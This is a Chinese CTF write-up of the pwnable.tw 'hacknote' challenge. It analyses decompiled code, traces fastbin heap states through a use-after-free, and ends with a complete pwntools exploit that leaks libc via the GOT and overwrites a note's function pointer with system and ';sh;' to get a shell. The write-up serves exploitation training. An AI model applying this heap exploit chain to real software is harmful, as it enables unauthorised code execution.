关于 malloc 的首次适配可以参考 how2heap - first_fit:
程序分析
main 函数
void __cdecl __noreturn main()
{
int choice; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
Printmenu();
read(0, buf, 4u);
choice = atoi(buf);
if ( choice != 2 )
break;
Deletenote();
}
if ( choice > 2 )
{
if ( choice == 3 )
{
Printnote();
}
else
{
if ( choice == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_13;
Addnote();
}
}
}
Addnote函数
unsigned int sub_8048646()
{
Note *note; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( notecnt <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = noteputsfunc;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
note = (Note *)*(&ptr + i);
note->content = (char *)malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++notecnt;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
分配 8 字节的 Note 结构,然后写入内容。
Note的结构:
struct Note
{
void *putnotefuc;
char *content;
};
Printnote函数
unsigned int sub_80488A5()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= notecnt )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + index) )
(*(void (__cdecl **)(_DWORD))*(&ptr + index))(*(&ptr + index));
return __readgsdword(0x14u) ^ v3;
}
调用 Note 结构第一个位置上的函数指针,打印。
Deletenote 函数
unsigned int sub_80487D4()
{
int index; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
index = atoi(buf);
if ( index < 0 || index >= notecnt )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + index) )
{
free(*((void **)*(&ptr + index) + 1));
free(*(&ptr + index));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
先释放 note 的内容,再释放 note 结构。但释放后指针没有置空,给了我们 use after free 的机会。
EIP 控制
以下输入可以控制EIP
- 1 -> 16 -> aaa
- 1 -> 16 -> bbb
- 2 -> 0
- 2 -> 1
- 1 -> 8 -> ccc
- 3 -> 0
EIP 变成 ccc\n
...
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :3
Index :0
Program received signal SIGSEGV, Segmentation fault.
0x0a636363 in ?? ()
Warning: Skipping auxv entry '++info auxv'
Python Exception <class 'SyntaxError'> ('invalid syntax', ('<unknown>', 1, 10, '++python print(list(globals().keys()))\n')):
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────
EAX 0xa636363 ('ccc\n')
EBX 0x0
ECX 0x0
EDX 0x804b008 ◂— 0xa636363 ('ccc\n')
EDI 0xf7fce000 ◂— 0x1afdb0
ESI 0xf7fce000 ◂— 0x1afdb0
EBP 0xffffcd48 —▸ 0xffffcd68 ◂— 0x0
ESP 0xffffcd1c —▸ 0x804893f ◂— add esp, 0x10
EIP 0xa636363 ('ccc\n')
───────────────────────────────────────────[ DISASM ]────────────────────────────────────────────
Invalid address 0xa636363
一步一步在堆上的情况:
- 1 -> 16 -> aaa
struct Note[0], size:8
{
void *putnotefuc ----> putnotefuc
char *content ---> malloc(16) 'aaa\n'
};
- 1 -> 16 -> bbb
struct Note[0], size:8
{
void *putnotefuc ----> putnotefuc
char *content ----> malloc(16) 'aaa\n'
};
struct Note[1], size:8
{
void *putnotefuc ----> putnotefuc
char *content ---> malloc(16) 'bbb\n'
};
- 2 -> 0
fastbin[0][0] ----> struct Note[0], size:8
{
void *putnotefuc
char *content ----> free 16 大小后的区域
};
struct Note[1], size:8
{
void *putnotefuc ----> putnotefuc
char *content ---> malloc(16) 'bbb\n'
};
- 2 -> 1
fastbin[0][1] ----> struct Note[0], size:8
{
void *putnotefuc
char *content ----> free 16 大小后的区域
};
fastbin[0][0]-----> struct Note[1], size:8
{
void *putnotefuc
char *content ----> free 16 大小后的区域
};
fastbin 头插头取链表结构。
- 1 -> 8 -> ccc
此时分配时,首次适配,会把 Note[0], Note[1] 两个结构体的地址分配下来。
struct Note[0], size:8
{
ccc\n # Note[0] 等于 Note[2] 的 content 部分。
};
struct Note[1] 和 Note[2] 结构体内容一样,同一地址区域。
struct Note[2], size:8
{
void *putnotefuc ----> putnotefuc
char *content ----> malloc(8) ccc\n
};
- 3 -> 0
Note[0] 会调用我们写的 ‘ccc\n’ 函数,以为那是 putnotefuc 函数。
所以我们就控制了 Note[0] 结构中所存的内容 。
利用策略
利用 上面的控制 EIP 的漏洞。
- 可以先打印 GOT 表中某个 libc 函数的地址。得到 libc 在内存中的地址。 content 部分写 putnotefuc 函数的地址+对应 GOT 表的部分。
- 删掉 note[2] ,再写note[2],此时写 system 函数的地址 与
;sh;
。 - 打印 note[0] 。
exploit
#!/usr/bin/env python3
# pyright: basic
from struct import pack
from pwn import *
HOST='chall.pwnable.tw'
PORT=10102
PROC="./hacknote"
context.log_level = 'DEBUG'
io=None
if len(sys.argv) == 1 :
# io=gdb.debug(PROC,"break puts")
io=process(PROC)
else:
log.info("remote start")
# 设置代理
context.proxy=(socks.SOCKS5,'localhost',7890)
io=remote(HOST,PORT)
GotpltputsAddr=0x0804A024
PutnoteFuncAddr=0x0804862B
# 偏移
PutsOffset=0x0005f140
SystemOffset=0x0003a940
def GetSystemAddr():
# 1 -> 16 -> aaaa
io.sendafter(":","1")
io.sendafter(":","16")
io.sendafter(":","aaaa")
# 1 -> 16 -> bbbb
io.sendafter(":","1")
io.sendafter(":","16")
io.sendafter(":","bbbb")
# 两次 2 -> 0
io.sendafter(":",'2')
io.sendafter(":",'0')
io.sendafter(":",'2')
io.sendafter(":",'1')
#pause()
# 拿到输出got表中puts函数地址
io.sendafter(":","1")
io.sendafter(":","8")
paylaod=pack(PutnoteFuncAddr)+pack(GotpltputsAddr)
io.sendafter(":",paylaod)
# 调用note[0],打印
io.sendafter(":","3")
io.sendafter(":","0")
return io.recvn(4)
PutsAddr=unpack(GetSystemAddr())
print("puts function addr:",hex(PutsAddr))
# 计算 system 函数地址
SystemAddr=PutsAddr-PutsOffset+SystemOffset
print("system function addr:",hex(SystemAddr))
sh=b";sh;"
# 发送 ;/bin/sh
def binsh():
pause()
io.send("2")
io.sendafter(":","2")
io.sendafter(":","1")
io.sendafter(":","8")
io.sendafter(":",pack(SystemAddr)+sh)
io.sendafter(":","3")
io.sendafter(":","0")
io.interactive()
binsh()